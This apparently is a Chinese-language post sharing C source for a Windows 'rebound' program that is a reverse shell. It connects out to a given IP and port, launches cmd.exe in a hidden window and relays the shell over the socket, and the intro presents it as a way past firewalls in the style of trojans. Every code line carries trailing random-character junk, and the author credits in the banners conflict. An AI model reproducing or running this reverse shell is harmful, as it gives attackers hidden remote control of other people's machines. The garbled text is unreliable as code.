这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 HPv&vdr3
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/* ============================== i!/h3%=
Rebound port in Windows NT I_R5\l}O+D
By wind,2006/7 TZvBcNi
===============================*/ ~)oWSo5ll
#include VuYWb)@
#include ^H@!)+
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#pragma comment(lib,"wsock32.lib") 0%(4G83gw
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void OutputShell(); )j)y5_m
SOCKET sClient; VyBJIzs0
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8VBkI Ygb
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void main(int argc,char **argv) }kgjLaQ^N
{ %BT)oH}
WSADATA stWsaData; QBN=l\m+
int nRet; 0e7O#-
SOCKADDR_IN stSaiClient,stSaiServer; soFvrl^Ql+
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if(argc != 3) Q}k_#w
{ ~ ]m@k'n
printf("Useage:\n\rRebound DestIP DestPort\n"); dd
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return; +w_MSj#P
} J"a2
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WSAStartup(MAKEWORD(2,2),&stWsaData); kOlI?wc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @ B}c4,
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stSaiClient.sin_family = AF_INET; &})4?5
stSaiClient.sin_port = htons(0); _mI:Lr#dT
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y`[HjS,
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) { 8|Z}?I
{ _Oaso >
printf("Bind Socket Failed!\n"); ZQJw2LA gO
return; KY(l<pm
} [W8iM7D
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stSaiServer.sin_family = AF_INET; 7!` C TE
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); D{Jc+Q$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); #7cf 8y
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Xbsj:Ko]]U
{ A<*tn?M]
printf("Connect Error!"); tZc.%TU
return; =c5 /cpZ^
} Hi4@!]
OutputShell(); XQ4^:3Yc
} v=yI#5
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void OutputShell() [K|>s(Sf*
{ !MG>z\:
char szBuff[1024]; L{o >D"
SECURITY_ATTRIBUTES stSecurityAttributes; >>
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OSVERSIONINFO stOsversionInfo; ZCOuv6V+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; *|.yX%"k
STARTUPINFO stStartupInfo; Ow&'sR'CX
char *szShell; H?zCIue3
PROCESS_INFORMATION stProcessInformation; V=8{CmqT
unsigned long lBytesRead; KH 6n3 \=
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); zWR*g/i
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ED =BZR
stSecurityAttributes.lpSecurityDescriptor = 0; L}sm R,
stSecurityAttributes.bInheritHandle = TRUE; 80l3.z,:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); qT-nD}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); yrvSbqR
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ju2X*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; L^ jC&
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stStartupInfo.wShowWindow = SW_HIDE; YQ[&h
stStartupInfo.hStdInput = hReadPipe; SJ|.% gn
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5IF~]5s
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GetVersionEx(&stOsversionInfo); W~@GK
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switch(stOsversionInfo.dwPlatformId) yKk,);
{ 4@V <Suw
case 1: B#V4
szShell = "command.com"; m#}{"d&J
break;
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default: +
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szShell = "cmd.exe"; =jd=Qs IL
break; pa> 2JF*
} rQQPs\o
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HuLm!tCu
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send(sClient,szMsg,77,0); -r2qIt
while(1) *]UEF_
{ . L6@Rs
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); y7L4jO9h
if(lBytesRead) :aFpz6<
{ p-03V"^&
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); bJMcI8`
send(sClient,szBuff,lBytesRead,0); +H^V},dBp!
} qFsg&<
else o4
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{ kviSQM2
lBytesRead=recv(sClient,szBuff,1024,0); x[uXD
if(lBytesRead<=0) break; kk7:A0._
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ~X(xa
} !{ )AV/\D
} k^%ec3l
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return; W2LblZE!
}